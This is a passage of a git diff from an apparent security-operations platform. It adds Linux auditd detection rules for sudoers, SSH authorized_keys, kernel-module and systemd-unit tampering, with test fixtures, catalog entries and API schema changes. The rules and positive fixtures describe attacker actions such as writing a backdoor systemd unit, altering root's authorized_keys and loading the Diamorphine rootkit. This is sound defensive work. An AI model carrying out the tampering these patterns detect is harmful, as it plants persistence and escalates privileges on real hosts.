"integrations/misp-push"],},{type: "category",@@ -113,7 +120,12 @@ const sidebars: SidebarsConfig = {{type: "category",label: "Deployment",- items: ["deployment/docker", "deployment/kubernetes", "deployment/env-vars"],+ items: [+ "deployment/docker",+ "deployment/kubernetes",+ "deployment/gcp",+ "deployment/env-vars",+ ],},{type: "category",diff --git a/apps/web/public/marketplace/curated.json b/apps/web/public/marketplace/curated.jsonindex 0a74b7060..af365dc51 100644--- a/apps/web/public/marketplace/curated.json+++ b/apps/web/public/marketplace/curated.json@@ -1,15 +1,15 @@{"$schema": "https://aisoc.example.com/schemas/curated/v1.json","version": "1.0.0",- "generated": "2026-05-12T20:53:01Z",+ "generated": "2026-05-12T21:04:22Z","stats": {- "considered": 1048,- "eligible": 1044,+ "considered": 1052,+ "eligible": 1048,"selected": 416,"min_per_family": 25,"min_total": 300,"quality_floor": 0.55,- "unique_techniques": 117,+ "unique_techniques": 118,"selected_by_tier": {"imported": 42,"native": 374@@ -25,8 +25,8 @@"application": 29,"cloud": 164,"data-exfil": 20,- "endpoint": 115,- "identity": 75,+ "endpoint": 117,+ "identity": 73,"network": 12}},@@ -89,7 +89,7 @@},"credential-access": {"label": "Credential Access",- "count": 83,+ "count": 84,"rule_ids": ["det-application-004","det-application-008",@@ -118,6 +118,7 @@"det-endpoint-141","det-endpoint-267","det-endpoint-272",+ "det-endpoint-302","det-identity-001","det-identity-003","det-identity-010",@@ -449,6 +450,8 @@"det-endpoint-264","det-endpoint-265","det-endpoint-300",+ "det-endpoint-301",+ "det-endpoint-302","det-identity-001","det-identity-002","det-identity-003",@@ -456,8 +459,6 @@"det-identity-006","det-identity-008","det-identity-009",- "det-identity-011",- "det-identity-012","det-identity-020","det-identity-021","det-identity-027",@@ -649,15 +650,15 @@"T1070": 4,"T1071.001": 1,"T1078": 16,- "T1078.001": 2,- "T1078.004": 27,+ "T1078.001": 1,+ "T1078.004": 26,"T1082": 1,"T1087": 1,"T1087.004": 1,- "T1098": 15,+ "T1098": 16,"T1098.001": 13,"T1098.003": 7,- "T1098.004": 5,+ "T1098.004": 6,"T1098.007": 1,"T1105": 1,"T1110": 7,@@ -692,6 +693,7 @@"T1537": 10,"T1539": 2,"T1543": 1,+ "T1548.003": 1,"T1550": 4,"T1550.003": 1,"T1552": 2,@@ -701,7 +703,7 @@"T1554": 1,"T1555": 2,"T1555.005": 1,- "T1556": 38,+ "T1556": 39,"T1556.001": 1,"T1556.006": 5,"T1556.007": 1,@@ -8146,6 +8148,59 @@"log_source_product": "osquery","has_executable_body": true},+ {+ "id": "det-endpoint-301",+ "name": "Sudoers Tampering Via auditd Watch",+ "path": "detections/endpoint/linux-auditd-sudoers-tampering.yaml",+ "tier": "native",+ "source": "core",+ "category": "endpoint",+ "severity": "high",+ "mitre_techniques": [+ "T1548.003",+ "T1098"+ ],+ "mitre_tactics": [],+ "families": [+ "identity"+ ],+ "quality_score": 0.977,+ "quality_notes": [+ "tier:native(+0.5)",+ "mitre_techniques:2(+0.2)",+ "severity:high(+0.128)",+ "executable(+0.15)"+ ],+ "log_source_product": "linux",+ "has_executable_body": true+ },+ {+ "id": "det-endpoint-302",+ "name": "SSH Config Or Authorized Keys Tampering Via auditd Watch",+ "path": "detections/endpoint/linux-auditd-ssh-config-tampering.yaml",+ "tier": "native",+ "source": "core",+ "category": "endpoint",+ "severity": "high",+ "mitre_techniques": [+ "T1098.004",+ "T1556"+ ],+ "mitre_tactics": [],+ "families": [+ "credential-access",+ "identity"+ ],+ "quality_score": 0.977,+ "quality_notes": [+ "tier:native(+0.5)",+ "mitre_techniques:2(+0.2)",+ "severity:high(+0.128)",+ "executable(+0.15)"+ ],+ "log_source_product": "linux",+ "has_executable_body": true+ },{"id": "det-identity-001","name": "Authentication Brute-Force Burst",@@ -8357,57 +8412,6 @@"log_source_product": "okta","has_executable_body": true},- {- "id": "det-identity-011",- "name": "Service Account Used for Interactive Login",- "path": "detections/identity/service-account-interactive-login.yaml",- "tier": "native",- "source": "core",- "category": "identity",- "severity": "high",- "mitre_techniques": [- "T1078.004"- ],- "mitre_tactics": [],- "families": [- "cloud",- "identity"- ],- "quality_score": 0.977,- "quality_notes": [- "tier:native(+0.5)",- "mitre_techniques:1(+0.2)",- "severity:high(+0.128)",- "executable(+0.15)"- ],- "log_source_product": "okta",- "has_executable_body": true- },- {- "id": "det-identity-012",- "name": "Root SSH Login on Production Host",- "path": "detections/identity/root-ssh-login.yaml",- "tier": "native",- "source": "core",- "category": "identity",- "severity": "high",- "mitre_techniques": [- "T1078.001"- ],- "mitre_tactics": [],- "families": [- "identity"- ],- "quality_score": 0.977,- "quality_notes": [- "tier:native(+0.5)",- "mitre_techniques:1(+0.2)",- "severity:high(+0.128)",- "executable(+0.15)"- ],- "log_source_product": "linux",- "has_executable_body": true- },{"id": "det-identity-020","name": "Kubernetes ClusterRoleBinding to cluster-admin",diff --git a/apps/web/public/marketplace/index.json b/apps/web/public/marketplace/index.jsonindex 7439d22b5..e244bcead 100644--- a/apps/web/public/marketplace/index.json+++ b/apps/web/public/marketplace/index.json@@ -1,7 +1,7 @@{"$schema": "https://example.com/schemas/marketplace/v1.json","version": "1.0.0",- "generated": "2026-05-12T20:53:00Z",+ "generated": "2026-05-12T21:04:21Z","categories": [{"id": "playbooks",@@ -20,22 +20,22 @@}],"stats": {- "total": 7105,+ "total": 7111,"playbooks": 62,- "detections": 6994,- "plugins": 49,- "verified": 985,+ "detections": 6998,+ "plugins": 51,+ "verified": 990,"community": 1,"by_tier": {- "beta": 6,+ "beta": 7,"community": 1,"imported": 6113,- "stable": 985+ "stable": 990},"detections_by_tier": {"community": 1,"imported": 6113,- "stable": 880+ "stable": 884},"quarantined": 5921},@@ -57,7 +57,7 @@"T1010": 2,"T1011": 1,"T1012": 24,- "T1014": 7,+ "T1014": 8,"T1016": 20,"T1016.001": 1,"T1018": 42,@@ -115,7 +115,7 @@"T1053.002": 12,"T1053.003": 21,"T1053.005": 58,- "T1053.006": 5,+ "T1053.006": 6,"T1053.007": 2,"T1055": 56,"T1055.001": 11,@@ -179,11 +179,11 @@"T1090.003": 11,"T1091": 5,"T1095": 8,- "T1098": 87,+ "T1098": 88,"T1098.001": 26,"T1098.002": 6,"T1098.003": 34,- "T1098.004": 11,+ "T1098.004": 12,"T1098.005": 7,"T1098.007": 1,"T1102": 17,@@ -330,7 +330,7 @@"T1542.005": 1,"T1543": 25,"T1543.001": 8,- "T1543.002": 4,+ "T1543.002": 5,"T1543.003": 60,"T1543.004": 4,"T1546": 15,@@ -353,7 +353,7 @@"T1547.003": 2,"T1547.004": 4,"T1547.005": 4,- "T1547.006": 15,+ "T1547.006": 16,"T1547.008": 2,"T1547.009": 4,"T1547.010": 6,@@ -363,7 +363,7 @@"T1548": 34,"T1548.001": 12,"T1548.002": 76,- "T1548.003": 38,+ "T1548.003": 39,"T1548.004": 1,"T1550": 13,"T1550.001": 4,@@ -390,7 +390,7 @@"T1555.003": 15,"T1555.004": 6,"T1555.005": 5,- "T1556": 71,+ "T1556": 72,"T1556.001": 1,"T1556.002": 3,"T1556.003": 1,@@ -536,7 +536,7 @@"T1690": 1},"unique_techniques": 493,- "total_with_mitre": 5778,+ "total_with_mitre": 5782,"by_tier": {"community": {"T1078.004": 1@@ -549,7 +549,7 @@"T1003.006": 3,"T1003.008": 2,"T1011": 1,- "T1014": 1,+ "T1014": 2,"T1018": 5,"T1020": 2,"T1021": 1,@@ -575,7 +575,7 @@"T1053.001": 1,"T1053.003": 5,"T1053.005": 4,- "T1053.006": 1,+ "T1053.006": 2,"T1055": 2,"T1055.001": 1,"T1055.012": 1,@@ -607,10 +607,10 @@"T1090": 3,"T1090.003": 6,"T1095": 3,- "T1098": 28,+ "T1098": 29,"T1098.001": 21,"T1098.003": 8,- "T1098.004": 7,+ "T1098.004": 8,"T1098.007": 1,"T1105": 3,"T1110": 9,@@ -675,7 +675,7 @@"T1542.001": 1,"T1543": 1,"T1543.001": 4,- "T1543.002": 2,+ "T1543.002": 3,"T1543.003": 3,"T1543.004": 2,"T1546.002": 1,@@ -690,13 +690,13 @@"T1547.001": 4,"T1547.004": 1,"T1547.005": 2,- "T1547.006": 5,+ "T1547.006": 6,"T1547.010": 1,"T1547.015": 2,"T1548": 1,"T1548.001": 6,"T1548.002": 4,- "T1548.003": 2,+ "T1548.003": 3,"T1548.004": 1,"T1550": 3,"T1550.002": 2,@@ -717,7 +717,7 @@"T1555.003": 3,"T1555.004": 1,"T1555.005": 1,- "T1556": 40,+ "T1556": 41,"T1556.001": 1,"T1556.003": 1,"T1556.004": 1,@@ -42841,6 +42841,102 @@"enabled": true,"path": "detections/endpoint/fim-ssh-authorized-keys-changed.yaml"},+ {+ "id": "det-endpoint-301",+ "type": "detection",+ "name": "Sudoers Tampering Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile (profiles/auditd/aisoc.rules)\nrecords a write to /etc/sudoers or any file under /etc/sudoers.d/.\nPivots on the auditd_key field exposed by services/connectors/app/connectors/auditd.py\nso the rule fires regardless of which syscall (open, openat, rename, etc.)\nproduced the event. Sudoers changes are extremely high-signal in steady-state\nand are the most reliable indicator of attacker-driven privilege escalation\nshort of a full root shell.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1548.003",+ "T1098"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-sudoers-tampering.yaml"+ },+ {+ "id": "det-endpoint-302",+ "type": "detection",+ "name": "SSH Config Or Authorized Keys Tampering Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile records a write to /etc/ssh/sshd_config,\n/etc/ssh/sshd_config.d/, or /root/.ssh/authorized_keys. Pivots on the\nauditd_key field so the rule fires for any modify-class syscall (open, openat,\nrename, link, unlink) without needing a per-syscall companion rule.\nSSH config + root authorized_keys are the two most common backdoor footholds\non Linux servers; production hosts should see zero modifications outside of\nconfig-management runs.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1098.004",+ "T1556"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-ssh-config-tampering.yaml"+ },+ {+ "id": "det-endpoint-303",+ "type": "detection",+ "name": "Kernel Module Load Or Unload Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile records init_module / finit_module /\ndelete_module syscalls or execution of /sbin/insmod, /sbin/rmmod, /sbin/modprobe.\nPivots on auditd_key so the rule fires regardless of how the kernel module\nprimitive was invoked. Loadable kernel modules are the standard delivery\nvehicle for Linux rootkits (Diamorphine, Reptile, Symbiote, etc.); legitimate\nmodule loads are dominated by boot-time systemd-modules-load.service and\nfilesystem drivers and should be easy to allowlist by parent process.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1547.006",+ "T1014"+ ],+ "log_source": "linux",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-kernel-module-load.yaml"+ },+ {+ "id": "det-endpoint-304",+ "type": "detection",+ "name": "Systemd Unit Persistence Via auditd Watch",+ "description": "Triggers when the AiSOC auditd profile records a write under\n/etc/systemd/system/ or /lib/systemd/system/. Pivots on auditd_key so the\nrule fires for any modify-class syscall on a unit file without a per-syscall\ncompanion rule. Dropping a .service or .timer file under these directories is\nthe canonical Linux persistence technique post-foothold; legitimate writes\nare dominated by package managers and configuration-management agents and\nshould be straightforward to allowlist.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1543.002",+ "T1053.006"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "tier": "stable",+ "enabled": true,+ "path": "detections/endpoint/linux-auditd-systemd-persistence.yaml"+ },{"id": "det-identity-001","type": "detection",@@ -223894,6 +223990,25 @@"tier": "beta","path": "plugins/aisoc-direct/plugin.yaml"},+ {+ "id": "auditd",+ "type": "plugin",+ "name": "Linux Auditd",+ "description": "Linux ``auditd`` connector \u2014 file_tail mode, no host-agent dependency. Tails ``/var/log/audit/audit.log`` forward from a saved byte cursor, reassembles multi-record auditd events (SYSCALL + EXECVE + PATH + CWD + PROCTITLE) into flat normalised documents, and feeds the same ``syscall`` / ``exe`` / ``argv`` / ``path`` / ``actor_uid`` / ``auditd_key`` primitives that detection content under ``detections/endpoint/linux-*.yaml`` pivots on. Ship the AiSOC ``audit.rules`` profile (``profiles/auditd/aisoc.rules``) for full coverage; rules with ``aisoc_*`` keys auto-bucket into AiSOC's four-tier severity ladder.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [],+ "plugin_type": null,+ "license": "MIT",+ "homepage": "https://github.com/linux-audit/audit-userspace",+ "min_aisoc_version": null,+ "sdks": [],+ "mitre_techniques": [],+ "verified": false,+ "source": "core",+ "tier": "beta",+ "path": "plugins/auditd/plugin.yaml"+ },{"id": "auth0","type": "plugin",@@ -225093,6 +225208,32 @@"tier": "stable","path": "plugins/twilio-sms/plugin.yaml"},+ {+ "id": "wazuh",+ "type": "plugin",+ "name": "Wazuh Connector",+ "description": "Wazuh \u2014 open-source XDR/SIEM. Pulls alerts from the Wazuh indexer (OpenSearch-compatible) above a configurable rule-level threshold and collapses the 0-15 rule-level ladder onto AiSOC's four-tier severity taxonomy (info | low | medium | high) so detection and fusion logic stays vendor-agnostic.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "siem",+ "xdr",+ "wazuh",+ "opensource",+ "hids",+ "fim"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/wazuh.py",+ "min_aisoc_version": "4.0.0",+ "sdks": [],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "tier": "stable",+ "path": "plugins/wazuh/plugin.yaml"+ },{"id": "yara-enricher","type": "plugin",diff --git a/detections/endpoint/linux-auditd-kernel-module-load.yaml b/detections/endpoint/linux-auditd-kernel-module-load.yamlnew file mode 100644index 000000000..6f7c49cc3--- /dev/null+++ b/detections/endpoint/linux-auditd-kernel-module-load.yaml@@ -0,0 +1,33 @@+id: det-endpoint-303+name: Kernel Module Load Or Unload Via auditd Watch+description: |+ Triggers when the AiSOC auditd profile records init_module / finit_module /+ delete_module syscalls or execution of /sbin/insmod, /sbin/rmmod, /sbin/modprobe.+ Pivots on auditd_key so the rule fires regardless of how the kernel module+ primitive was invoked. Loadable kernel modules are the standard delivery+ vehicle for Linux rootkits (Diamorphine, Reptile, Symbiote, etc.); legitimate+ module loads are dominated by boot-time systemd-modules-load.service and+ filesystem drivers and should be easy to allowlist by parent process.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1547.006+- mitre.attack.t1014+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ auditd_key == "aisoc_priv_esc_module_load"+ AND exe NOT ENDSWITH_ANY ["/systemd-modules-load", "/kmod"]+false_positives:+- Boot-time module load by systemd-modules-load.service+- Driver hot-plug (USB device, NVIDIA installer, ZFS/DKMS rebuild)+- Container runtime loading overlay/br_netfilter on host+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-12'+modified: '2026-05-12'diff --git a/detections/endpoint/linux-auditd-ssh-config-tampering.yaml b/detections/endpoint/linux-auditd-ssh-config-tampering.yamlnew file mode 100644index 000000000..d8283e94a--- /dev/null+++ b/detections/endpoint/linux-auditd-ssh-config-tampering.yaml@@ -0,0 +1,33 @@+id: det-endpoint-302+name: SSH Config Or Authorized Keys Tampering Via auditd Watch+description: |+ Triggers when the AiSOC auditd profile records a write to /etc/ssh/sshd_config,+ /etc/ssh/sshd_config.d/, or /root/.ssh/authorized_keys. Pivots on the+ auditd_key field so the rule fires for any modify-class syscall (open, openat,+ rename, link, unlink) without needing a per-syscall companion rule.+ SSH config + root authorized_keys are the two most common backdoor footholds+ on Linux servers; production hosts should see zero modifications outside of+ config-management runs.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098.004+- mitre.attack.t1556+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ auditd_key IN ["aisoc_critical_ssh_config", "aisoc_critical_authorized_keys"]+ AND exe NOT ENDSWITH_ANY ["/dpkg", "/rpm", "/apt", "/yum", "/dnf", "/cloud-init"]+false_positives:+- Package upgrade replacing sshd_config (dpkg, rpm)+- cloud-init bootstrapping authorized_keys on first boot+- Sanctioned config-management tooling (Ansible, Chef, Puppet) — allowlist the agent's exe+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-12'+modified: '2026-05-12'diff --git a/detections/endpoint/linux-auditd-sudoers-tampering.yaml b/detections/endpoint/linux-auditd-sudoers-tampering.yamlnew file mode 100644index 000000000..ab9978f3b--- /dev/null+++ b/detections/endpoint/linux-auditd-sudoers-tampering.yaml@@ -0,0 +1,32 @@+id: det-endpoint-301+name: Sudoers Tampering Via auditd Watch+description: |+ Triggers when the AiSOC auditd profile (profiles/auditd/aisoc.rules)+ records a write to /etc/sudoers or any file under /etc/sudoers.d/.+ Pivots on the auditd_key field exposed by services/connectors/app/connectors/auditd.py+ so the rule fires regardless of which syscall (open, openat, rename, etc.)+ produced the event. Sudoers changes are extremely high-signal in steady-state+ and are the most reliable indicator of attacker-driven privilege escalation+ short of a full root shell.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1548.003+- mitre.attack.t1098+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ auditd_key == "aisoc_critical_sudoers_write"+ AND exe NOT ENDSWITH_ANY ["/visudo", "/dpkg", "/rpm", "/apt", "/yum", "/dnf"]+false_positives:+- Package upgrade installing a new sudoers.d/ drop-in (visudo, dpkg, rpm)+- Sanctioned automation/IaC pipeline (Ansible, Chef, Puppet) — tune by adding the agent's exe to the allowlist+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-12'+modified: '2026-05-12'diff --git a/detections/endpoint/linux-auditd-systemd-persistence.yaml b/detections/endpoint/linux-auditd-systemd-persistence.yamlnew file mode 100644index 000000000..437693273--- /dev/null+++ b/detections/endpoint/linux-auditd-systemd-persistence.yaml@@ -0,0 +1,33 @@+id: det-endpoint-304+name: Systemd Unit Persistence Via auditd Watch+description: |+ Triggers when the AiSOC auditd profile records a write under+ /etc/systemd/system/ or /lib/systemd/system/. Pivots on auditd_key so the+ rule fires for any modify-class syscall on a unit file without a per-syscall+ companion rule. Dropping a .service or .timer file under these directories is+ the canonical Linux persistence technique post-foothold; legitimate writes+ are dominated by package managers and configuration-management agents and+ should be straightforward to allowlist.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1543.002+- mitre.attack.t1053.006+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ auditd_key == "aisoc_persistence_systemd"+ AND exe NOT ENDSWITH_ANY ["/dpkg", "/rpm", "/apt", "/yum", "/dnf", "/systemctl", "/systemd"]+false_positives:+- Package install/upgrade dropping a unit file (dpkg, rpm)+- systemctl edit or systemctl enable rewriting a unit+- Sanctioned config-management agent (Ansible, Chef, Puppet) writing units+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-12'+modified: '2026-05-12'diff --git a/detections/fixtures/negative/linux-auditd-kernel-module-load.json b/detections/fixtures/negative/linux-auditd-kernel-module-load.jsonnew file mode 100644index 000000000..8d775f005--- /dev/null+++ b/detections/fixtures/negative/linux-auditd-kernel-module-load.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_priv_esc_module_load",+ "exe": "/lib/systemd/systemd-modules-load",+ "syscall": "finit_module",+ "comm": "systemd-modules",+ "uid": 0,+ "module": "br_netfilter"+}diff --git a/detections/fixtures/negative/linux-auditd-ssh-config-tampering.json b/detections/fixtures/negative/linux-auditd-ssh-config-tampering.jsonnew file mode 100644index 000000000..19cd89613--- /dev/null+++ b/detections/fixtures/negative/linux-auditd-ssh-config-tampering.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_critical_ssh_config",+ "exe": "/usr/bin/dpkg",+ "syscall": "openat",+ "path": "/etc/ssh/sshd_config",+ "uid": 0,+ "comm": "dpkg"+}diff --git a/detections/fixtures/negative/linux-auditd-sudoers-tampering.json b/detections/fixtures/negative/linux-auditd-sudoers-tampering.jsonnew file mode 100644index 000000000..a6f6c5ce3--- /dev/null+++ b/detections/fixtures/negative/linux-auditd-sudoers-tampering.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_critical_sudoers_write",+ "exe": "/usr/sbin/visudo",+ "syscall": "openat",+ "path": "/etc/sudoers",+ "uid": 0,+ "comm": "visudo"+}diff --git a/detections/fixtures/negative/linux-auditd-systemd-persistence.json b/detections/fixtures/negative/linux-auditd-systemd-persistence.jsonnew file mode 100644index 000000000..667e178b9--- /dev/null+++ b/detections/fixtures/negative/linux-auditd-systemd-persistence.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_persistence_systemd",+ "exe": "/usr/bin/dpkg",+ "syscall": "openat",+ "path": "/etc/systemd/system/nginx.service",+ "uid": 0,+ "comm": "dpkg"+}diff --git a/detections/fixtures/positive/linux-auditd-kernel-module-load.json b/detections/fixtures/positive/linux-auditd-kernel-module-load.jsonnew file mode 100644index 000000000..235d52153--- /dev/null+++ b/detections/fixtures/positive/linux-auditd-kernel-module-load.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_priv_esc_module_load",+ "exe": "/sbin/insmod",+ "syscall": "init_module",+ "comm": "insmod",+ "uid": 0,+ "module": "diamorphine"+}diff --git a/detections/fixtures/positive/linux-auditd-ssh-config-tampering.json b/detections/fixtures/positive/linux-auditd-ssh-config-tampering.jsonnew file mode 100644index 000000000..ff56f1d36--- /dev/null+++ b/detections/fixtures/positive/linux-auditd-ssh-config-tampering.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_critical_authorized_keys",+ "exe": "/usr/bin/tee",+ "syscall": "openat",+ "path": "/root/.ssh/authorized_keys",+ "uid": 0,+ "comm": "tee"+}diff --git a/detections/fixtures/positive/linux-auditd-sudoers-tampering.json b/detections/fixtures/positive/linux-auditd-sudoers-tampering.jsonnew file mode 100644index 000000000..ba86dbee3--- /dev/null+++ b/detections/fixtures/positive/linux-auditd-sudoers-tampering.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_critical_sudoers_write",+ "exe": "/usr/bin/vim",+ "syscall": "openat",+ "path": "/etc/sudoers.d/90-attacker",+ "uid": 0,+ "comm": "vim"+}diff --git a/detections/fixtures/positive/linux-auditd-systemd-persistence.json b/detections/fixtures/positive/linux-auditd-systemd-persistence.jsonnew file mode 100644index 000000000..4e08183de--- /dev/null+++ b/detections/fixtures/positive/linux-auditd-systemd-persistence.json@@ -0,0 +1,8 @@+{+ "auditd_key": "aisoc_persistence_systemd",+ "exe": "/usr/bin/tee",+ "syscall": "openat",+ "path": "/etc/systemd/system/backdoor.service",+ "uid": 0,+ "comm": "tee"+}diff --git a/docs/openapi.yaml b/docs/openapi.yamlindex 57a0b64c1..df9ce9b85 100644--- a/docs/openapi.yaml+++ b/docs/openapi.yaml@@ -1195,6 +1195,59 @@ paths:application/json:schema:$ref: '#/components/schemas/HTTPValidationError'+ /api/v1/cases/{case_id}/postmortem:+ get:+ tags:+ - cases+ summary: Download the per-case blameless post-mortem (JSON or HTML)+ description: 'Generate a deterministic blameless post-mortem for one case.+++ Distinct from ``/summary``: the summary is a snapshot of *what the case++ looks like right now*; the post-mortem is a retrospective oriented around++ *what happened, when did we find out, what did we do, and what should we++ change*. Both are deterministic — same case state in, same artefact out.'+ operationId: case_auto_postmortem_api_v1_cases__case_id__postmortem_get+ security:+ - HTTPBearer: []+ parameters:+ - name: case_id+ in: path+ required: true+ schema:+ type: string+ title: Case Id+ - name: format+ in: query+ required: false+ schema:+ enum:+ - json+ - html+ type: string+ description: Response format. ``json`` returns the structured CasePostmortem;+ ``html`` returns a print-ready blameless retrospective (use the browser's+ Save-as-PDF affordance for the runbook archive).+ default: json+ title: Format+ description: Response format. ``json`` returns the structured CasePostmortem;+ ``html`` returns a print-ready blameless retrospective (use the browser's+ Save-as-PDF affordance for the runbook archive).+ responses:+ '200':+ description: Successful Response+ content:+ application/json:+ schema: {}+ '422':+ description: Validation Error+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/HTTPValidationError'/api/v1/cases/{case_id}/investigations/{run_id}/report.pdf:get:tags:@@ -10519,8 +10572,21 @@ paths:tags:- Threat Intelligencesummary: Create Indicator- description: Publish a new STIX 2.1 indicator.+ description: Publish a new STIX 2.1 indicator and optionally mirror it to MISP.operationId: create_indicator_api_v1_threatintel_stix_indicators_post+ parameters:+ - name: push_to_misp+ in: query+ required: false+ schema:+ anyOf:+ - type: boolean+ - type: 'null'+ description: Mirror this indicator to the configured MISP instance. Defaults+ to the value of MISP_PUSH_AUTO.+ title: Push To Misp+ description: Mirror this indicator to the configured MISP instance. Defaults+ to the value of MISP_PUSH_AUTO.requestBody:required: truecontent:@@ -10533,7 +10599,7 @@ paths:content:application/json:schema:- $ref: '#/components/schemas/STIXIndicator'+ $ref: '#/components/schemas/STIXIndicatorWithPush''422':description: Validation Errorcontent:@@ -10558,21 +10624,34 @@ paths:tags:- Threat Intelligencesummary: Create Bundle- description: Create a new STIX 2.1 bundle from a list of STIX objects.+ description: Create a new STIX 2.1 bundle and optionally mirror it to MISP.operationId: create_bundle_api_v1_threatintel_stix_bundles_post+ parameters:+ - name: push_to_misp+ in: query+ required: false+ schema:+ anyOf:+ - type: boolean+ - type: 'null'+ description: Mirror this bundle to the configured MISP instance as a single+ MISP event (one attribute per translatable indicator). Defaults to MISP_PUSH_AUTO.+ title: Push To Misp+ description: Mirror this bundle to the configured MISP instance as a single+ MISP event (one attribute per translatable indicator). Defaults to MISP_PUSH_AUTO.requestBody:+ required: truecontent:application/json:schema:$ref: '#/components/schemas/STIXBundleCreate'- required: trueresponses:'201':description: Successful Responsecontent:application/json:schema:- $ref: '#/components/schemas/STIXBundle'+ $ref: '#/components/schemas/STIXBundleWithPush''422':description: Validation Errorcontent:@@ -10593,6 +10672,65 @@ paths:application/json:schema:$ref: '#/components/schemas/TAXIICollectionListResponse'+ /api/v1/threatintel/stix/misp/health:+ get:+ tags:+ - Threat Intelligence+ - MISP push+ summary: Misp Push Health+ description: 'Check whether MISP push is configured and reachable.+++ Surfaces enough state for an operator to debug a misconfigured++ deployment without leaking the API key. Calls ``/users/view/me``++ against MISP only when the client is configured.'+ operationId: misp_push_health_api_v1_threatintel_stix_misp_health_get+ responses:+ '200':+ description: Successful Response+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/MispPushHealth'+ /api/v1/threatintel/stix/misp/dry-run:+ post:+ tags:+ - Threat Intelligence+ - MISP push+ summary: Misp Push Dry Run+ description: 'Show the MISP event payload that *would* be pushed, without sending+ it.+++ Useful for operators tuning STIX → MISP mappings, and for proving++ that an air-gapped deployment will refuse to send. The endpoint++ runs the air-gap check against the configured MISP URL and reports++ the result, but never opens an HTTP connection.'+ operationId: misp_push_dry_run_api_v1_threatintel_stix_misp_dry_run_post+ requestBody:+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/MispDryRunRequest'+ required: true+ responses:+ '200':+ description: Successful Response+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/MispDryRunResponse'+ '422':+ description: Validation Error+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/HTTPValidationError'/api/v1/shifts:get:tags:@@ -18085,6 +18223,153 @@ components:- connector_count- health_scoretitle: MetricsOut+ MispDryRunRequest:+ properties:+ indicator:+ anyOf:+ - $ref: '#/components/schemas/STIXIndicatorCreate'+ - type: 'null'+ bundle:+ anyOf:+ - $ref: '#/components/schemas/STIXBundleCreate'+ - type: 'null'+ distribution:+ anyOf:+ - type: integer+ maximum: 4.0+ minimum: 0.0+ - type: 'null'+ title: Distribution+ threat_level:+ anyOf:+ - type: integer+ maximum: 4.0+ minimum: 1.0+ - type: 'null'+ title: Threat Level+ analysis:+ anyOf:+ - type: integer+ maximum: 2.0+ minimum: 0.0+ - type: 'null'+ title: Analysis+ type: object+ title: MispDryRunRequest+ description: Either ``indicator`` or ``bundle`` must be provided.+ MispDryRunResponse:+ properties:+ event:+ additionalProperties: true+ type: object+ title: Event+ attribute_count:+ type: integer+ title: Attribute Count+ skipped_count:+ type: integer+ title: Skipped Count+ would_push_to:+ anyOf:+ - type: string+ - type: 'null'+ title: Would Push To+ airgap_blocked:+ type: boolean+ title: Airgap Blocked+ default: false+ airgap_message:+ anyOf:+ - type: string+ - type: 'null'+ title: Airgap Message+ type: object+ required:+ - event+ - attribute_count+ - skipped_count+ title: MispDryRunResponse+ MispPushHealth:+ properties:+ configured:+ type: boolean+ title: Configured+ airgapped:+ type: boolean+ title: Airgapped+ auto_push:+ type: boolean+ title: Auto Push+ url:+ anyOf:+ - type: string+ - type: 'null'+ title: Url+ user:+ anyOf:+ - type: string+ - type: 'null'+ title: User+ role:+ anyOf:+ - type: string+ - type: 'null'+ title: Role+ ok:+ type: boolean+ title: Ok+ error:+ anyOf:+ - type: string+ - type: 'null'+ title: Error+ type: object+ required:+ - configured+ - airgapped+ - 